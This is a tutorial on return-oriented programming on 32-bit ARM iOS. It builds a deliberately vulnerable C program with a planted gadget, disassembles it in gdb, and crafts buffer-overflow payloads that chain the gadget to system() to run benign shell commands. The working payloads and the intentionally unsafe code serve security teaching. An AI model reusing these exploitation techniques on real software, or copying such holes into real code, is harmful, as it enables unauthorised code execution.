0x04 ROP gadgets

Gagdets

ROP gadget is a small sequence of assembly instructions that end in a return instruction. Gadgets are used in order to set up various registers with certain values that will be later required.

In this tutorial we’ll practice some more of finding gadgets and chaining functions. So let’s create a new file, compile and sign as usual. This program will also be vulnerable to buffer overflow so we can crash it and analyse.

0x04.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char str1[] = "uname -a";
char str2[] = "touch pwned";
char str3[] = "ls -sail";

void doSystem(){
    printf("You entered system function..\n");
	system("# this does nothing yet..");
	exit(0);
}

void gadget(){
	__asm__("pop {r0,pc}\n");
}

int main(){
	char buff[16];
	printf("0x04 ROP gadgets\n");
	printf("Execute shell command by using a ROP gadget followed by jumping to system()\n");
	printf("enter some data: ");
	scanf("%s",buff);
	printf("No shell command yet, try again ;)\n");
	return 0;
}

Compile and sign:

$ clang 0x04.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x04
$ ldid -S 0x04

Try it as it works normally.

./0x04 
0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: 123
No shell command yet, try again ;)

Then we proceed to disassembling with gdb 😉 We get info about program functions and variables.

$ gdb 0x04

(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000bdf8  doSystem
0x0000be34  gadget
0x0000be3c  main
0x0000bec8   stub helpers
0x0000bff0  dyld_stub_exit
0x0000bff4  dyld_stub_printf
0x0000bff8  dyld_stub_scanf
0x0000bffc  dyld_stub_system

(gdb) info variables
All defined variables:
Non-debugging symbols:
...
0x0000c018  str1
0x0000c021  str2
0x0000c02d  str3

# print /s str1

(gdb) disass main
Dump of assembler code for function main:
0x0000be3c <main+0>:  80 40 2d e9                   push	{r7, lr}
0x0000be40 <main+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000be44 <main+8>:  28 d0 4d e2                   sub	sp, sp, #40	; 0x28
0x0000be48 <main+12>:  55 0f 0b e3                   movw	r0, #48981	; 0xbf55
0x0000be4c <main+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000be50 <main+20>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000be54 <main+24>:  04 10 07 e5                   str	r1, [r7, #-4]
0x0000be58 <main+28>:  65 00 00 eb                   bl	0xbff4
0x0000be5c <main+32>:  67 1f 0b e3                   movw	r1, #48999	; 0xbf67
0x0000be60 <main+36>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be64 <main+40>:  10 00 8d e5                   str	r0, [sp, #16]
0x0000be68 <main+44>:  01 00 a0 e1                   mov	r0, r1
0x0000be6c <main+48>:  60 00 00 eb                   bl	0xbff4
0x0000be70 <main+52>:  b4 1f 0b e3                   movw	r1, #49076	; 0xbfb4
0x0000be74 <main+56>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be78 <main+60>:  0c 00 8d e5                   str	r0, [sp, #12]
0x0000be7c <main+64>:  01 00 a0 e1                   mov	r0, r1
0x0000be80 <main+68>:  5b 00 00 eb                   bl	0xbff4
0x0000be84 <main+72>:  c6 1f 0b e3                   movw	r1, #49094	; 0xbfc6
0x0000be88 <main+76>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be8c <main+80>:  14 20 8d e2                   add	r2, sp, #20	; 0x14
0x0000be90 <main+84>:  08 00 8d e5                   str	r0, [sp, #8]
0x0000be94 <main+88>:  01 00 a0 e1                   mov	r0, r1
0x0000be98 <main+92>:  02 10 a0 e1                   mov	r1, r2
0x0000be9c <main+96>:  55 00 00 eb                   bl	0xbff8
0x0000bea0 <main+100>:  c9 1f 0b e3                   movw	r1, #49097	; 0xbfc9
0x0000bea4 <main+104>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000bea8 <main+108>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000beac <main+112>:  01 00 a0 e1                   mov	r0, r1
0x0000beb0 <main+116>:  4f 00 00 eb                   bl	0xbff4
0x0000beb4 <main+120>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000beb8 <main+124>:  00 00 8d e5                   str	r0, [sp]
0x0000bebc <main+128>:  01 00 a0 e1                   mov	r0, r1
0x0000bec0 <main+132>:  07 d0 a0 e1                   mov	sp, r7
0x0000bec4 <main+136>:  80 80 bd e8                   pop	{r7, pc}
End of assembler dump.

(gdb) disass gadget
Dump of assembler code for function gadget:
0x0000be34 <gadget+0>:  01 80 bd e8                   pop	{r0, pc}
0x0000be38 <gadget+4>:  1e ff 2f e1                   bx	lr
End of assembler dump.

(gdb) disass doSystem
Dump of assembler code for function doSystem:
0x0000bdf8 <doSystem+0>:  80 40 2d e9                   push	{r7, lr}
0x0000bdfc <doSystem+4>:  0d 70 a0 e1                   mov	r7, sp
0x0000be00 <doSystem+8>:  08 d0 4d e2                   sub	sp, sp, #8	; 0x8
0x0000be04 <doSystem+12>:  1c 0f 0b e3                   movw	r0, #48924	; 0xbf1c
0x0000be08 <doSystem+16>:  00 00 40 e3                   movt	r0, #0	; 0x0
0x0000be0c <doSystem+20>:  78 00 00 eb                   bl	0xbff4
0x0000be10 <doSystem+24>:  3b 1f 0b e3                   movw	r1, #48955	; 0xbf3b
0x0000be14 <doSystem+28>:  00 10 40 e3                   movt	r1, #0	; 0x0
0x0000be18 <doSystem+32>:  04 00 8d e5                   str	r0, [sp, #4]
0x0000be1c <doSystem+36>:  01 00 a0 e1                   mov	r0, r1
0x0000be20 <doSystem+40>:  75 00 00 eb                   bl	0xbffc
0x0000be24 <doSystem+44>:  00 10 00 e3                   movw	r1, #0	; 0x0
0x0000be28 <doSystem+48>:  00 00 8d e5                   str	r0, [sp]
0x0000be2c <doSystem+52>:  01 00 a0 e1                   mov	r0, r1
0x0000be30 <doSystem+56>:  6e 00 00 eb                   bl	0xbff0
End of assembler dump.

When system() function is called, it expects the address in memory of the string to be stored in R0, so we need to find a gadget that will allow us to control the value of R0 and then return.

Just for testing we have here function gadget() which is, well, a gadget 😉 We can see that it is small assembly function (at address 0x0000be34) that pops value from r0 to pc. Exactly what we need, jumping to this gadget will allow us to control both r0 and pc.

Ok, so let’s crash out app and check addresses in crashlog.

$ printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" | ./0x04

0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: No shell command yet, try again ;)
Segmentation fault: 11
$ cat /var/mobile/Library/Logs/CrashReporter/0x04-2020-09-10-133550.ips 

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x47474746
...
Thread 0 crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000000      r2: 0x3af14f80      r3: 0x00000000
    r4: 0x00000000    r5: 0x0000be3c      r6: 0x00000000      r7: 0x46464646
    r8: 0x001ddd58    r9: 0x00000000     r10: 0x00000000     r11: 0x00000000
    ip: 0x00012068    sp: 0x001ddd40      lr: 0x0000beb4      pc: 0x47474746
  cpsr: 0x40000030

pc register contains value 0x47474746 after the crash which is the hex equivilant of GGGG in our string.

Crafting the exploitation string step-by-step:

  1. take string offset: AAAABBBBCCCCDDDDEEEEFFFF
  2. add the address (little endian) of our gadget: \x34\xbe\x00\x00
  3. add the address of shell command string: \x18\xc0\x00\x00 // <– this can be one of three strings we got
  4. add the address of system() function: \xfc\xbf\x00\x00
$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x18\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04

0x04 ROP gadgets
Execute shell command by using a ROP gadget followed by jumping to system()
enter some data: No shell command yet, try again ;)
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin
Bus error: 10

Test the two more functions. First one should produce a file named pwnd. The last one should list all the files and folders.

$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x21\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04
$ printf "AAAABBBBCCCCDDDDEEEEFFFF\x34\xbe\x00\x00\x2d\xc0\x00\x00\xfc\xbf\x00\x00" | ./0x04

Yeah 😎 we got our program call a system function of our choice, great work!